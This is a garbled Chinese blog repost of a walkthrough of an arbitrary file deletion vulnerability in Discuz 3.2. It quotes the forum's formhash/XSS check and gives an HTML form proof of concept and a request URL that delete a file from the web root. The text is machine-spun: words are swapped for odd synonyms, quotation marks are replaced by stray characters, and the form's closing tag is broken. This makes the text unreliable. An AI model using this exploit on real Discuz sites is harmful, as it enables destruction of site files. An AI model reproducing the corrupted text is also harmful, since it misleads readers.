首页 » 网站推广 » discuz32php7技巧_Discuz全版本随便率性文件删除马脚

discuz32php7技巧_Discuz全版本随便率性文件删除马脚

访客 2024-10-25 0

扫一扫用手机浏览

文章目录 [+]

0x1首先在根目录下新建一个文件

0x2 布局poc1修正出生地区

discuz32php7技巧_Discuz全版本随便率性文件删除马脚

把稳个中的formhash须要更换掉,详细是在源码中找。

discuz32php7技巧_Discuz全版本随便率性文件删除马脚
(图片来自网络侵删)

为什么这里要更换掉formhash呢?

一开始不太清楚,网页会报错,

如下

看到了有一个xss验证蛮去找一下这个文件

private function _xss_check() { static $check = array('\"大众', '>', '<', '\'', '(', ')', 'CONTENT-TRANSFER-ENCODING'); if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash()) { system_error('request_tainting'); } if($_SERVER['REQUEST_METHOD'] == 'GET' ) { $temp = $_SERVER['REQUEST_URI']; } elseif(empty ($_GET['formhash'])) { $temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input'); } else { $temp = ''; } if(!empty($temp)) { $temp = strtoupper(urldecode(urldecode($temp))); foreach ($check as $str) { if(strpos($temp, $str) !== false) { system_error('request_tainting'); } } } return true; }12345678910111213141516171819202122232425262728

创造了如下代码

if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash())

{

system_error('request_tainting');

}

这里便是对formhash做判断的地方了,当然判断地方不止一个。
这里formhash该当是每次上岸后随机天生的,详细源码没有去找他,但考试测验两次上岸后找到的formhash不一样

0x3 布局poc2删除zsdlove.txt文件

test->poc<form action=\"大众http://localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=zsdlove\"大众 method=\"大众POST\公众 enctype=\公众multipart/form-data\"大众><input type=\"大众file\"大众 name=\公众birthprovince\"大众 id=\"大众file\公众 /> <br><br><input type=\"大众text\"大众 name=\"大众formhash\"大众 value=\"大众3e42ef6f\"大众/><br><br><input type=\"大众text\公众 name=\"大众profilesubmit\"大众 value=\公众1\公众/><br><br><input type=\"大众submit\"大众 value=\"大众Submit\公众 /></from>123456789

将该poc保存为html文件打开

随便上传一张图片,把稳个中的formhash也要更换

在浏览器中访问

localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=zsdlove1

在看看网站根目录

文件已经被删除了

0x4 修复方案:官方已经发布补丁,请尽快修复

相关文章

招商蛇口中国房地产龙头企业,未来可期

招商蛇口(股票代码:001979),作为中国房地产企业的领军企业,自成立以来始终秉持“以人为本,追求卓越”的经营理念,致力于打造高...

网站推广 2025-02-18 阅读1 评论0